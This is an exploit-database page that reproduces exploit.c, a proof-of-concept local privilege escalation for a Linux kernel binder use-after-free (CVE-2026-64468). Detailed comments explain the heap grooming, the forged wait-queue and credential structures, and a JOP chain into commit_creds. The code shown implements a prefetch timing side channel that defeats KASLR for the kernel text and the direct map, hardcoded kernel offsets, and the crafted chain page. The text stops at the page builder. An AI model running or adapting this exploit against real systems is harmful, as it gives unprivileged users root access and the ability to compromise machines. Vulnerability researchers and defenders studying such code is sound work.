Exploit database

GH-e9eb4b616a3d561248213ee792c16dbd

aramosf/cve-2026-64468

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-64468

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files16
aramosf/cve-2026-64468Revision c3a1bcf9a00b

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.c

Suggested starting fileC · 69,379 bytes
/*
 * Exploit Title : Linux Kernel binder - Local Privilege Escalation (x86_64)
 * CVE           : CVE-2026-64468
 * Date          : 2026-08-16
 * Exploit Author: A. Ramos <[email protected]> (@aramosf)
 * Discovery     : Alice Ryhl, Google (fix by Carlos Llamas, Google)
 * Vendor        : Linux kernel (drivers/android/binder.c)
 * Version       : see README.md; validated on 7.2.0-rc1
 * Tested on     : x86_64, Linux 7.2.0-rc1 (commit 114a116aaa5f), KVM guest
 * Type          : Local Privilege Escalation (use-after-free -> root)
 * CWE           : CWE-416 Use After Free
 *
 * Build : gcc -O2 -pthread -o exploit exploit.c
 * Run   : ./exploit          (unprivileged; ends in a root shell)
 *
 * Requirements on the target:
 *   - x86_64
 *   - /dev/binder readable and writable by the calling user
 *   - System V IPC available (CONFIG_SYSVIPC)
 *   - CONFIG_SLAB_BUCKETS off, so msg_msg shares kmalloc-1k with binder_proc
 *   - KPTI off, so the prefetch side channel can see kernel text
 *   - offsets matching the running kernel (see offsets/ and mkoffsets.sh)
 *
 * ---------------------------------------------------------------------------
 * The bug
 *
 * binder_free_transaction() reads t->to_proc under t->lock, drops the lock and
 * then dereferences the saved pointer:
 *
 *     spin_lock(&t->lock);
 *     target_proc = t->to_proc;
 *     spin_unlock(&t->lock);          <- the target process may exit here
 *     if (target_proc) {
 *             binder_inner_proc_lock(target_proc);
 *             ...
 *     }
 *
 * Nothing holds a reference on target_proc across that gap, so a process that
 * closes /dev/binder in the window has its struct binder_proc freed while the
 * pointer is in flight.  The fix (f223d27a546c) pins t->to_thread instead.
 *
 * Reaching the window needs a two-deep transaction stack: binder rejects any
 * transaction whose from_parent chain does not match the thread it is being
 * delivered on, so the walk in binder_thread_release() has to be set up with
 * one parent transaction and one child transaction on the same walker thread.
 * The race is then the ~2 instructions between the unlock and the lock.
 *
 * ---------------------------------------------------------------------------
 * The exploit
 *
 * struct binder_proc is 648 bytes and is allocated with plain GFP_KERNEL, so it
 * lives in kmalloc-1k together with any unaccounted allocation of that size.
 * System V messages are the pump used here: alloc_msg() is a plain kmalloc of
 * 48 bytes of header plus payload, the quota is per queue rather than per uid,
 * and msgrcv() frees synchronously, so a 976-byte message allocates and frees
 * kmalloc-1k objects at syscall speed.  (add_key was tried first and is much
 * worse: its per-uid byte quota is released only by the key garbage collector,
 * which caps it at a few hundred useful allocations per second.)
 *
 * The fields the walker touches after the free decide what a reclaimed object
 * has to contain:
 *
 *     +108  int               outstanding_txns   decremented
 *     +113  bool              is_frozen          read
 *     +120  wait_queue_head_t freeze_wait        walked if txns == 0 && frozen
 *     +624  spinlock_t        inner_lock         taken and released
 *
 * With outstanding_txns == 1 and is_frozen == 1, the decrement reaches zero and
 * the walker calls wake_up_interruptible_all(&proc->freeze_wait).  __wake_up_common
 * then computes curr = head.next - 24 and calls *(head.next - 8): a function
 * pointer taken from wherever head.next points, which is a value we supply.
 *
 * That pointer has to reach memory we control at a kernel address, and this bug
 * leaks nothing, so both addresses come from a prefetch timing side channel:
 * the kernel text base (stage 1) and the direct map (stage 2).  Stage 3 fills
 * a large fraction of physical memory with one crafted 4 KiB page, so the fixed
 * offset the chain points at is backed by that page whatever the layout is.
 *
 * The page holds a two-entry wait queue and a forged struct cred:
 *
 *     entry1.func = dispatcher gadget
 *                     mov 0x28(%rdi),%rdi ; mov 0x18(%rdi),%rax ; jmp *0x58(%rax)
 *     entry1+0x28 = &forged cred        -> becomes RDI
 *     cred+0x18   = &vtab               -> becomes RAX (this is euid/egid; see below)
 *     vtab+0x58   = commit_creds
 *     entry2.func = mov $-1,%rax ; ret  -> makes __wake_up_common break out
 *
 * so the walker ends up executing commit_creds(forged_cred) and then returns
 * out of the ioctl normally.  No stack pivot and no iretq: the hijacked thread
 * is simply back in userspace, as root.
 *
 * The gadget forces cred+0x18 to be a pointer, and cred+0x18 is euid/egid, so
 * immediately after the chain euid is the low half of that pointer.  The rest
 * of the cred is built to be genuinely valid - user, user_ns, ucounts and
 * group_info all point at the real kernel globals - because prepare_creds()
 * dereferences all three with no NULL check:
 *
 *     get_group_info(new->group_info);
 *     get_uid(new->user);
 *     new->ucounts = get_ucounts(new->ucounts);
 *
 * With those set, the rooted thread holds CAP_SETUID over init_user_ns and can
 * call setresuid(0,0,0) to have the kernel install a clean, kernel-allocated
 * root cred over the forged one.  Skipping that step gives uid 0 but panics the
 * machine on the first fork or execve.
 *
 * ---------------------------------------------------------------------------
 * The prefetch detectors below derive from KASLD's prefetch component,
 * https://github.com/bcoles/kasld, Copyright (c) 2019 Brendan Coles, MIT
 * licensed; the direct-map variant and everything else is
 * Copyright (c) 2026 A. Ramos.
 *
 * For authorised security research and coordinated disclosure only.
 */
#define _GNU_SOURCE

#include <cpuid.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#include <limits.h>
#include <linux/android/binder.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <x86intrin.h>

/* ------------------------------------------------------------------------ */
/* target offsets                                                            */
/* ------------------------------------------------------------------------ */

/*
 * Everything the chain needs is an offset from _text, because _text is the one
 * kernel address recovered at run time.  The offsets themselves are build
 * constants of the target kernel and there is no way around knowing them; the
 * defaults below are for the demonstration kernel in demo/, so that inside the
 * demonstration guest a plain
 *
 *     gcc -O2 -pthread -o exploit exploit.c
 *
 * is already correct.  For any other kernel, extract them from its vmlinux:
 *
 *     ./mkoffsets.sh /path/to/vmlinux > offsets.h
 *     gcc -O2 -pthread -DEXPLOIT_OFFSETS='"offsets.h"' -o exploit exploit.c
 *
 * offsets/ holds the sets that have been measured.
 */
#ifdef EXPLOIT_OFFSETS
#include EXPLOIT_OFFSETS
#endif

/* mov 0x28(%rdi),%rdi ; mov 0x18(%rdi),%rax ; jmp *0x58(%rax) */
#ifndef OFF_DISPATCH
#define OFF_DISPATCH 0x29c3a0ULL
#endif
/* mov $-1,%rax ; ret */
#ifndef OFF_RET_MINUS_ONE
#define OFF_RET_MINUS_ONE 0x253548ULL
#endif
#ifndef OFF_COMMIT_CREDS
#define OFF_COMMIT_CREDS 0x2700b0ULL
#endif
#ifndef OFF_INIT_USER_NS
#define OFF_INIT_USER_NS 0x8349c0ULL
#endif
#ifndef OFF_ROOT_USER
#define OFF_ROOT_USER 0x834d00ULL
#endif
#ifndef OFF_INIT_UCOUNTS
#define OFF_INIT_UCOUNTS 0x8358c0ULL
#endif
#ifndef OFF_INIT_GROUPS
#define OFF_INIT_GROUPS 0x8099f0ULL
#endif

/* struct binder_proc, x86_64 7.2.0-rc1 (size 648 -> kmalloc-1k). */
#define PROC_OUTSTANDING_TXNS 108U
#define PROC_IS_FROZEN 113U
#define PROC_FREEZE_WAIT 120U
#define PROC_INNER_LOCK 624U

/* struct cred, x86_64 7.2.0-rc1 (size 176). */
#define CRED_USAGE 0x00U
#define CRED_UID 0x08U
#define CRED_EUID 0x18U
#define CRED_CAP_INHERITABLE 0x30U
#define CRED_CAP_PERMITTED 0x38U
#define CRED_CAP_EFFECTIVE 0x40U
#define CRED_CAP_BSET 0x48U
#define CRED_CAP_AMBIENT 0x50U
#define CRED_USER 0x80U
#define CRED_USER_NS 0x88U
#define CRED_UCOUNTS 0x90U
#define CRED_GROUP_INFO 0x98U

/* ------------------------------------------------------------------------ */
/* configuration                                                             */
/* ------------------------------------------------------------------------ */

/*
 * The defaults are the configuration the reliability figures in README.md were
 * measured with.  Every one can be overridden from the environment, which is
 * how the exploit is retuned for a target without recompiling it.
 */
static unsigned int cfg_seconds = 3600U;
static unsigned int cfg_threads = 16U;
static unsigned int cfg_stagger_us = 3U;
static unsigned int cfg_b_delay_max_us = 900U;
static unsigned int cfg_b_delay_step_us = 15U;
static unsigned int cfg_spray_percent = 60U;
static unsigned int cfg_kaslr_attempts = 4U;
static unsigned int cfg_call_offset_mb = 512U;
static unsigned int cfg_verbose;
static unsigned int cfg_worker_cpu;
static unsigned int cfg_b_cpu_base = 1U;
static unsigned int cfg_cpus = 1U;

static unsigned int env_uint(const char *name, unsigned int fallback)
{
	const char *value = getenv(name);

	if (!value || !*value)
		return fallback;
	return (unsigned int)strtoul(value, NULL, 0);
}

#define BINDER_MAP_SIZE (128U * 1024U)
#define MAX_THREADS 128U

#define CODE_PARENT 0x4442414bU
#define CODE_CHILD 0x54414c4cU
#define CODE_REGISTER_P 0x52454750U
#define CODE_REGISTER_B 0x52454742U
#define CODE_SEND_P 0x53454e50U
#define CODE_SEND_B 0x53454e42U

/* Name of the setuid-root stub the winning thread drops; see stage 5. */
#define SUID_HELPER ".cve-2026-64468-root"

struct control {
	volatile unsigned int go;
	volatile unsigned int b_armed;
	volatile unsigned int p_armed;
	volatile unsigned int b_done;
	volatile unsigned int p_done;
	volatile unsigned int walked;
	volatile unsigned int setup_failures;
	volatile unsigned int rooted;
	volatile unsigned int helper_ready;
	volatile unsigned int b_delay_us;
	volatile unsigned int quit;
};

static struct control *ctl;
static uint64_t kernel_base;
static uint64_t physmap_base;
static uint64_t call_offset;
static char helper_path[PATH_MAX];

struct endpoint {
	int fd;
	void *mapping;
};

/* ------------------------------------------------------------------------ */
/* small helpers                                                             */
/* ------------------------------------------------------------------------ */

static void set_task_name(const char *name)
{
	(void)prctl(PR_SET_NAME, name, 0, 0, 0);
}

static uint64_t monotonic_ns(void)
{
	struct timespec ts;

	if (clock_gettime(CLOCK_MONOTONIC, &ts) < 0)
		return 0;
	return (uint64_t)ts.tv_sec * 1000000000ULL + (uint64_t)ts.tv_nsec;
}

static double monotonic_seconds(void)
{
	return (double)monotonic_ns() / 1000000000.0;
}

static inline void cpu_relax_hint(void)
{
	__asm__ volatile("pause" ::: "memory");
}

/* The waits below are deliberately busy: the point is to be running when the
 * kernel side reaches the window, so yielding would defeat the harness. */
static void busy_wait_us(unsigned int microseconds)
{
	uint64_t deadline;

	if (!microseconds)
		return;
	deadline = monotonic_ns() + (uint64_t)microseconds * 1000ULL;
	while (monotonic_ns() < deadline)
		cpu_relax_hint();
}

static int pin_to_cpu(unsigned int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	return sched_setaffinity(0, sizeof(set), &set);
}

static void put64(unsigned char *at, uint64_t value)
{
	memcpy(at, &value, sizeof(value));
}

/*
 * CVE64468_QUIET=1 suppresses the technical commentary (addresses, stage
 * descriptions, mechanism names) and leaves only a generic progress line.
 * Used for demonstration recordings; the default output is unchanged.
 */
static int cfg_quiet;

static void note(const char *format, ...)
	__attribute__((format(printf, 1, 2)));

static void note(const char *format, ...)
{
	va_list arguments;

	if (cfg_quiet)
		return;
	printf("[*] ");
	va_start(arguments, format);
	(void)vprintf(format, arguments);
	va_end(arguments);
	printf("\n");
	fflush(stdout);
}

/* Generic one-liner shown only in quiet mode. */
static void qsay(const char *message)
{
	if (!cfg_quiet)
		return;
	printf("[*] %s\n", message);
	fflush(stdout);
}

/* Quiet-mode failure: one generic line, no mechanism details. */
static int qfail(void)
{
	if (cfg_quiet) {
		printf("[-] failed: unsupported target or lost race; retry from a clean boot\n");
		fflush(stdout);
	}
	return 1;
}

/* ------------------------------------------------------------------------ */
/* stage 1: kernel text base, by prefetch timing                             */
/* ------------------------------------------------------------------------ */

/*
 * Derived from KASLD's prefetch component (Brendan Coles, MIT).  A prefetch of
 * a mapped kernel address resolves in the page-table walk and retires measurably
 * faster than one of an unmapped address, even though the access itself never
 * becomes architecturally visible.  Scanning the 2 MiB-aligned slots of the
 * kernel text range therefore shows the image as a run of fast slots, and its
 * first slot is _text.
 */
#define CPU_UNKNOWN 0
#define CPU_AMD 1
#define CPU_INTEL 2

#define TEXT_MIN 0xffffffff80000000ULL
#define TEXT_MAX 0xffffffffc0000000ULL
#define TEXT_STEP 0x200000ULL
#define NUM_SLOTS ((TEXT_MAX - TEXT_MIN) / TEXT_STEP)
#define TEXT_ITERATIONS 64
#define TEXT_PASSES 7
#define TEXT_BATCH_PASSES 5
#define TEXT_BATCH_ITERATIONS 10
#define TEXT_BATCH_SIZE 2000
#define TEXT_WARMUP 3
#define MIN_AMD_PLATEAU 12

static int cmp_u64(const void *a, const void *b)
{
	uint64_t av = *(const uint64_t *)a;
	uint64_t bv = *(const uint64_t *)b;

	return (av > bv) - (av < bv);
}

static int cpu_vendor(void)
{
	unsigned int eax, ebx, ecx, edx;

	__cpuid(0, eax, ebx, ecx, edx);
	if (ebx == 0x756e6547 && edx == 0x49656e69 && ecx == 0x6c65746e)
		return CPU_INTEL;
	if (ebx == 0x68747541 && edx == 0x69746e65 && ecx == 0x444d4163)
		return CPU_AMD;
	return CPU_UNKNOWN;
}

static bool has_rdtscp(void)
{
	unsigned int eax, ebx, ecx, edx;

	if (__get_cpuid_max(0x80000000, NULL) < 0x80000001)
		return false;
	__cpuid(0x80000001, eax, ebx, ecx, edx);
	return !!(edx & (1U << 27));
}

static bool cpuinfo_has_pti(void)
{
	char *line = NULL;
	size_t size = 0;
	bool result = false;
	FILE *file = fopen("/proc/cpuinfo", "re");

	if (!file)
		return false;
	while (getline(&line, &size, file) >= 0) {
		if (strstr(line, "flags") && strstr(line, " pti")) {
			result = true;
			break;
		}
	}
	free(line);
	fclose(file);
	return result;
}

static uint64_t time_prefetch(uint64_t address)
{
	uint64_t start_lo, start_hi, end_lo, end_hi;

	__asm__ volatile(
		".intel_syntax noprefix;"
		"mfence; rdtscp;"
		"mov %0, rax; mov %1, rdx;"
		"xor rax, rax; lfence;"
		"prefetchnta qword ptr [%4];"
		"prefetcht2 qword ptr [%4];"
		"xor rax, rax; lfence; rdtscp;"
		"mov %2, rax; mov %3, rdx; mfence;"
		".att_syntax;"
		: "=r"(start_lo), "=r"(start_hi), "=r"(end_lo), "=r"(end_hi)
		: "r"(address)
		: "rax", "rbx", "rcx", "rdx", "memory");
	return ((end_hi << 32) | end_lo) - ((start_hi << 32) | start_lo);
}

static uint64_t time_prefetch_batch(uint64_t address, unsigned long count)
{
	uint64_t start_lo, start_hi, end_lo, end_hi;

	__asm__ volatile(
		".intel_syntax noprefix;"
		"mfence; rdtscp;"
		"mov %0, rax; mov %1, rdx; lfence;"
		"2: prefetchnta qword ptr [%5];"
		"prefetcht2 qword ptr [%5];"
		"dec %4; jnz 2b;"
		"lfence; rdtscp;"
		"mov %2, rax; mov %3, rdx; mfence;"
		".att_syntax;"
		: "=&r"(start_lo), "=&r"(start_hi), "=&r"(end_lo), "=&r"(end_hi),
		  "+r"(count)
		: "r"(address)
		: "rax", "rcx", "rdx", "cc", "memory");
	return ((end_hi << 32) | end_lo) - ((start_hi << 32) | start_lo);
}

static void text_collect(uint64_t times[NUM_SLOTS], int vendor)
{
	unsigned int pass;
	size_t slot;

	if (vendor == CPU_AMD)
		memset(times, 0, sizeof(uint64_t) * NUM_SLOTS);
	else
		for (slot = 0; slot < NUM_SLOTS; slot++)
			times[slot] = UINT64_MAX;

	for (pass = 0; pass < TEXT_WARMUP + TEXT_ITERATIONS; pass++) {
		for (slot = 0; slot < NUM_SLOTS; slot++) {
			uint64_t value = time_prefetch(TEXT_MIN + slot * TEXT_STEP);

			if (pass < TEXT_WARMUP)
				continue;
			if (vendor == CPU_AMD)
				times[slot] += value;
			else if (value < times[slot])
				times[slot] = value;
		}
	}
}

static void text_collect_batched(uint64_t times[NUM_SLOTS])
{
	size_t slot;
	unsigned int i;

	for (slot = 0; slot < NUM_SLOTS; slot++) {
		uint64_t address = TEXT_MIN + slot * TEXT_STEP;
		uint64_t best = UINT64_MAX;

		for (i = 0; i < TEXT_WARMUP; i++)
			(void)time_prefetch_batch(address, TEXT_BATCH_SIZE);
		for (i = 0; i < TEXT_BATCH_ITERATIONS; i++) {
			uint64_t value = time_prefetch_batch(address,
							    TEXT_BATCH_SIZE);

			if (value < best)
				best = value;
		}
		times[slot] = best;
	}
}

static uint64_t median_absolute_deviation(const uint64_t *times, uint64_t median)
{
	uint64_t deviations[NUM_SLOTS];
	size_t i;

	for (i = 0; i < NUM_SLOTS; i++)
		deviations[i] = times[i] > median ? times[i] - median :
						    median - times[i];
	qsort(deviations, NUM_SLOTS, sizeof(deviations[0]), cmp_u64);
	return deviations[NUM_SLOTS / 2];
}

static long amd_cluster(const uint64_t *times, uint64_t threshold,
			uint64_t edge_bound, unsigned int required,
			unsigned int window)
{
	size_t slot;
	unsigned int i;

	for (slot = 0; slot + window <= NUM_SLOTS; slot++) {
		unsigned int count = 0;

		if (times[slot] <= threshold)
			continue;
		for (i = 0; i < window; i++)
			if (times[slot + i] > threshold)
				count++;
		if (count >= required) {
			while (slot && times[slot - 1] > edge_bound)
				slot--;
			return (long)slot;
		}
	}
	return -1;
}

static long text_find_edge(const uint64_t times[NUM_SLOTS], int vendor,
			   bool batched)
{
	uint64_t sorted[NUM_SLOTS];
	uint64_t median;
	uint64_t minimum = UINT64_MAX;
	uint64_t bound;
	size_t seed = 0;
	size_t slot;

	memcpy(sorted, times, sizeof(sorted));
	qsort(sorted, NUM_SLOTS, sizeof(sorted[0]), cmp_u64);
	median = sorted[NUM_SLOTS / 2];

	if (vendor == CPU_AMD) {
		long edge;
		uint64_t mad;

		if (batched)
			return amd_cluster(times, median * 3, median * 2, 5, 8);
		edge = amd_cluster(times, median + median / 2,
				   median + median / 4, 5, 8);
		if (edge >= 0)
			return edge;
		mad = median_absolute_deviation(times, median);
		if (mad < (median >> 8))
			mad = median >> 8;
		return amd_cluster(times, median + 4 * mad, median + 2 * mad,
				   (MIN_AMD_PLATEAU * 3 + 3) / 4,
				   MIN_AMD_PLATEAU);
	}

	for (slot = 0; slot < NUM_SLOTS; slot++) {
		if (times[slot] < minimum) {
			minimum = times[slot];
			seed = slot;
		}
	}
	bound = median - (median - minimum) / 2;
	while (seed && times[seed - 1] < bound)
		seed--;
	return (long)seed;
}

static uint64_t text_majority_scan(int vendor, bool batched)
{
	uint64_t results[TEXT_PASSES] = { 0 };
	uint64_t times[NUM_SLOTS];
	unsigned int limit = batched ? TEXT_BATCH_PASSES : TEXT_PASSES;
	unsigned int pass;
	unsigned int candidate;
	unsigned int i;

	for (pass = 0; pass < limit; pass++) {
		long edge;

		if (batched)
			text_collect_batched(times);
		else
			text_collect(times, vendor);
		edge = text_find_edge(times, vendor, batched);
		if (edge >= 0)
			results[pass] = TEXT_MIN + (uint64_t)edge * TEXT_STEP;
		if (cfg_verbose)
			note("prefetch text pass %u: 0x%llx", pass,
			     (unsigned long long)results[pass]);

		for (candidate = 0; candidate <= pass; candidate++) {
			unsigned int votes = 0;

			if (!results[candidate])
				continue;
			for (i = 0; i <= pass; i++)
				if (results[i] == results[candidate])
					votes++;
			if (votes > limit / 2)
				return results[candidate];
		}
	}
	return 0;
}

static uint64_t detect_kernel_base(unsigned int attempts)
{
	cpu_set_t original, one;
	bool affinity_saved = sched_getaffinity(0, sizeof(original),
						&original) == 0;
	int vendor = cpu_vendor();
	uint64_t result = 0;
	unsigned int attempt;
	int cpu;

	if (!has_rdtscp()) {
		note("RDTSCP is unavailable; the prefetch channel cannot run");
		return 0;
	}
	if (cpuinfo_has_pti()) {
		note("KPTI is active; prefetch cannot see kernel text");
		return 0;
	}
	if (affinity_saved) {
		CPU_ZERO(&one);
		for (cpu = 0; cpu < CPU_SETSIZE; cpu++) {
			if (CPU_ISSET(cpu, &original)) {
				CPU_SET(cpu, &one);
				break;
			}
		}
		(void)sched_setaffinity(0, sizeof(one), &one);
	}
	for (attempt = 0; attempt < attempts && !result; attempt++) {
		result = text_majority_scan(vendor, false);
		if (!result && vendor == CPU_AMD)
			result = text_majority_scan(vendor, true);
	}
	if (affinity_saved)
		(void)sched_setaffinity(0, sizeof(original), &original);
	return result;
}

/* ------------------------------------------------------------------------ */
/* stage 2: the direct map, by the same channel                              */
/* ------------------------------------------------------------------------ */

/*
 * With CONFIG_RANDOMIZE_MEMORY the direct map no longer starts at
 * 0xffff888000000000; arch/x86/mm/kaslr.c randomises it in 1 GiB units.  Unlike
 * the kernel text it covers the whole of RAM, so it shows up as the longest
 * contiguous run of mapped 1 GiB slots.
 *
 * What the run reliably starts at is not page_offset_base itself but the first
 * slot the kernel could map with a 1 GiB page, which is the one covering
 * physical 4 GiB: everything below that is broken up by the PCI hole and
 * firmware reservations and gets 2 MiB pages, whose longer walk is not
 * separable from unmapped here.  That slot is exactly what the spray needs - a
 * known kernel address backed by RAM - so it is what is returned.
 */
#define PHYSMAP_MIN 0xffff888000000000ULL
#define PHYSMAP_SPAN (64ULL << 40)
#define PHYSMAP_STEP (1ULL << 30)
#define PHYSMAP_SLOTS ((unsigned int)(PHYSMAP_SPAN / PHYSMAP_STEP))
#define PHYSMAP_COARSE 3
#define PHYSMAP_FINE 24
#define PHYSMAP_BATCH 400UL
#define PHYSMAP_CANDIDATES 512U
#define PHYSMAP_VOTES 5U
#define PHYSMAP_ROUNDS 12U

/*
 * A single prefetch separates mapped from unmapped by only a few cycles inside
 * a KVM guest, which does not survive the noise.  Timing a batch of prefetches
 * of the same address amplifies that per-access difference into something
 * separable.
 */
static uint64_t physmap_time_batch(uint64_t address, unsigned long count)
{
	unsigned int aux;
	uint64_t start, end;
	unsigned long i;

	_mm_mfence();
	start = __rdtscp(&aux);
	_mm_mfence();
	for (i = 0; i < count; i++) {
		__builtin_prefetch((const void *)(uintptr_t)address, 0, 0);
		__builtin_prefetch((const void *)(uintptr_t)address, 0, 1);
	}
	_mm_mfence();
	end = __rdtscp(&aux);
	_mm_mfence();
	return end - start;
}

static uint64_t physmap_probe(uint64_t address, unsigned int iterations)
{
	uint64_t best = ~0ULL;
	unsigned int i;

	(void)physmap_time_batch(address, PHYSMAP_BATCH);
	for (i = 0; i < iterations; i++) {
		uint64_t sample = physmap_time_batch(address, PHYSMAP_BATCH);

		if (sample < best)
			best = sample;
	}
	return best;
}

static unsigned int ram_gib(void)
{
	FILE *file = fopen("/proc/meminfo", "r");
	char line[256];
	unsigned long long kb = 0;

	if (!file)
		return 0;
	while (fgets(line, sizeof(line), file)) {
		if (sscanf(line, "MemTotal: %llu kB", &kb) == 1)
			break;
	}
	fclose(file);
	if (!kb)
		return 0;
	return (unsigned int)((kb + (1ULL << 20) - 1) >> 20);
}

struct slot {
	unsigned int index;
	uint64_t time;
};

static int cmp_slot(const void *a, const void *b)
{
	uint64_t x = ((const struct slot *)a)->time;
	uint64_t y = ((const struct slot *)b)->time;

	return (x > y) - (x < y);
}

static uint64_t detect_physmap_once(void)
{
	uint64_t *times;
	struct slot *candidates;
	struct slot *all;
	unsigned char *mapped;
	unsigned int index;
	unsigned int mapped_count;
	unsigned int best_start = 0;
	unsigned int best_length = 0;
	unsigned int run_start = 0;
	unsigned int run_length = 0;
	uint64_t widest = 0;
	uint64_t split;
	uint64_t base = 0;

	if (!ram_gib())
		return 0;

	times = malloc((size_t)PHYSMAP_SLOTS * sizeof(*times));
	mapped = calloc(PHYSMAP_SLOTS, 1);
	candidates = malloc(PHYSMAP_CANDIDATES * sizeof(*candidates));
	all = malloc((size_t)PHYSMAP_SLOTS * sizeof(*all));
	if (!times || !mapped || !candidates || !all)
		goto out;

	/* Pass 1: cheap probe of every 1 GiB slot. */
	for (index = 0; index < PHYSMAP_SLOTS; index++)
		times[index] = physmap_probe(PHYSMAP_MIN +
					     (uint64_t)index * PHYSMAP_STEP,
					     PHYSMAP_COARSE);

	/*
	 * Pass 2: only the fastest slots can be mapped and there are very few of
	 * them, so re-probe just those with enough iterations to be trusted.
	 * Taking a fixed number of candidates avoids having to pick a threshold
	 * on the noisy coarse data.
	 */
	for (index = 0; index < PHYSMAP_SLOTS; index++) {
		all[index].index = index;
		all[index].time = times[index];
	}
	qsort(all, PHYSMAP_SLOTS, sizeof(*all), cmp_slot);
	for (index = 0; index < PHYSMAP_CANDIDATES; index++) {
		candidates[index].index = all[index].index;
		candidates[index].time =
			physmap_probe(PHYSMAP_MIN +
				      (uint64_t)all[index].index * PHYSMAP_STEP,
				      PHYSMAP_FINE);
	}

	/* Split mapped from unmapped at the widest gap in the refined times. */
	qsort(candidates, PHYSMAP_CANDIDATES, sizeof(*candidates), cmp_slot);
	split = candidates[PHYSMAP_CANDIDATES - 1].time;
	mapped_count = PHYSMAP_CANDIDATES;
	for (index = 1; index < PHYSMAP_CANDIDATES; index++) {
		uint64_t gap = candidates[index].time - candidates[index - 1].time;

		if (gap > widest) {
			widest = gap;
			split = candidates[index - 1].time;
			mapped_count = index;
		}
	}
	(void)split;
	for (index = 0; index < mapped_count; index++)
		mapped[candidates[index].index] = 1;

	for (index = 0; index < PHYSMAP_SLOTS; index++) {
		if (mapped[index]) {
			if (!run_length)
				run_start = index;
			run_length++;
			if (run_length > best_length) {
				best_length = run_length;
				best_start = run_start;
			}
		} else {
			run_length = 0;
		}
	}
	if (!best_length)
		best_start = candidates[0].index;
	base = PHYSMAP_MIN + (uint64_t)best_start * PHYSMAP_STEP;

out:
	free(times);
	free(mapped);
	free(candidates);
	free(all);
	return base;
}

/*
 * One timing scan is not trustworthy on a contended host: measured 10/10
 * correct with a single guest, 3/5 with five guests at once, because the noise
 * floor rises and a wrong slot can win.  Repeat the scan and require a majority
 * to agree - noise disagrees with itself, the real answer does not - and give
 * up rather than arm on an address that was never verified.
 */
static uint64_t detect_physmap(void)
{
	uint64_t votes[PHYSMAP_VOTES];
	unsigned int attempt;

	for (attempt = 0; attempt < PHYSMAP_ROUNDS; attempt++) {
		uint64_t best = 0;
		unsigned int best_count = 0;
		unsigned int index;

		for (index = 0; index < PHYSMAP_VOTES; index++)
			votes[index] = detect_physmap_once();

		for (index = 0; index < PHYSMAP_VOTES; index++) {
			unsigned int count = 0;
			unsigned int other;

			if (!votes[index])
				continue;
			for (other = 0; other < PHYSMAP_VOTES; other++)
				if (votes[other] == votes[index])
					count++;
			if (count > best_count) {
				best_count = count;
				best = votes[index];
			}
		}
		if (best_count * 2U > PHYSMAP_VOTES) {
			if (cfg_verbose)
				note("direct map agreed %u/%u in round %u",
				     best_count, PHYSMAP_VOTES, attempt + 1U);
			return best;
		}
	}
	return 0;
}

/* ------------------------------------------------------------------------ */
/* stage 3: the crafted page, sprayed across the direct map                  */
/* ------------------------------------------------------------------------ */

#define CHAIN_PAGE 4096U
#define CHAIN_ENTRY1 0x100U
#define CHAIN_ENTRY2 0x200U
#define CHAIN_CRED 0x300U
#define CHAIN_VTAB 0x400U

static void *physmap_spray;
static size_t physmap_spray_bytes;

static size_t available_bytes(void)
{
	FILE *file = fopen("/proc/meminfo", "r");
	char line[256];
	unsigned long long kb = 0;

	if (!file)
		return 0;
	while (fgets(line, sizeof(line), file)) {
		if (sscanf(line, "MemAvailable: %llu kB", &kb) == 1)
			break;
	}
	fclose(file);
	return (size_t)kb * 1024U;
}

/*
 * Direct-map pages are page aligned and the anchor is known, so a fixed page
 * offset is a fixed kernel address.  Every sprayed copy is identical; the one
 * that happens to back the target address is the one that matters, and the
 * others are simply never used.
 */
static void build_chain_page(unsigned char *page, uint64_t page_addr,
			     uint64_t kbase)
{
	unsigned char *cred = page + CHAIN_CRED;

	memset(page, 0, CHAIN_PAGE);

	/* First wait_queue_entry: the JOP dispatcher that reloads RDI. */
	put64(page + CHAIN_ENTRY1 + 0x10, kbase + OFF_DISPATCH);
	put64(page + CHAIN_ENTRY1 + 0x18, page_addr + CHAIN_ENTRY2 + 24);
	put64(page + CHAIN_ENTRY1 + 0x20, page_addr + CHAIN_ENTRY1 + 24);
	put64(page + CHAIN_ENTRY1 + 0x28, page_addr + CHAIN_CRED);

	/* Second entry: returns -1 so __wake_up_common breaks out of the walk. */
	put64(page + CHAIN_ENTRY2 + 0x10, kbase + OFF_RET_MINUS_ONE);
	put64(page + CHAIN_ENTRY2 + 0x18, page_addr + CHAIN_ENTRY2 + 24);

	/*
	 * The cred commit_creds() will install.  It has to survive more than the
	 * commit itself: prepare_creds(), which every later fork and execve
	 * calls, dereferences user, ucounts and group_info with no NULL check,
	 * so all three point at the real kernel globals.  euid/egid is the one
	 * field that cannot be set correctly here, because the dispatcher takes
	 * its RAX from cred+0x18; setresuid() fixes that up afterwards.
	 */
	put64(cred + CRED_USAGE, 2);                     /* BUG_ON(usage < 1) */
	put64(cred + CRED_UID, 0);                       /* uid and gid */
	put64(cred + CRED_EUID, page_addr + CHAIN_VTAB); /* also the RAX source */
	put64(cred + CRED_CAP_INHERITABLE, ~0ULL);
	put64(cred + CRED_CAP_PERMITTED, ~0ULL);
	put64(cred + CRED_CAP_EFFECTIVE, ~0ULL);
	put64(cred + CRED_CAP_BSET, ~0ULL);
	put64(cred + CRED_CAP_AMBIENT, ~0ULL);
	put64(cred + CRED_USER, kbase + OFF_ROOT_USER);
	put64(cred + CRED_USER_NS, kbase + OFF_INIT_USER_NS);
	put64(cred + CRED_UCOUNTS, kbase + OFF_INIT_UCOUNTS);
	put64(cred + CRED_GROUP_INFO, kbase + OFF_INIT_GROUPS);
	/* The keyring pointers stay NULL; key_get() is NULL safe. */

	/* Where the dispatcher's final jmp *0x58(%rax) lands. */
	put64(page + CHAIN_VTAB + 0x58, kbase + OFF_COMMIT_CREDS);
}

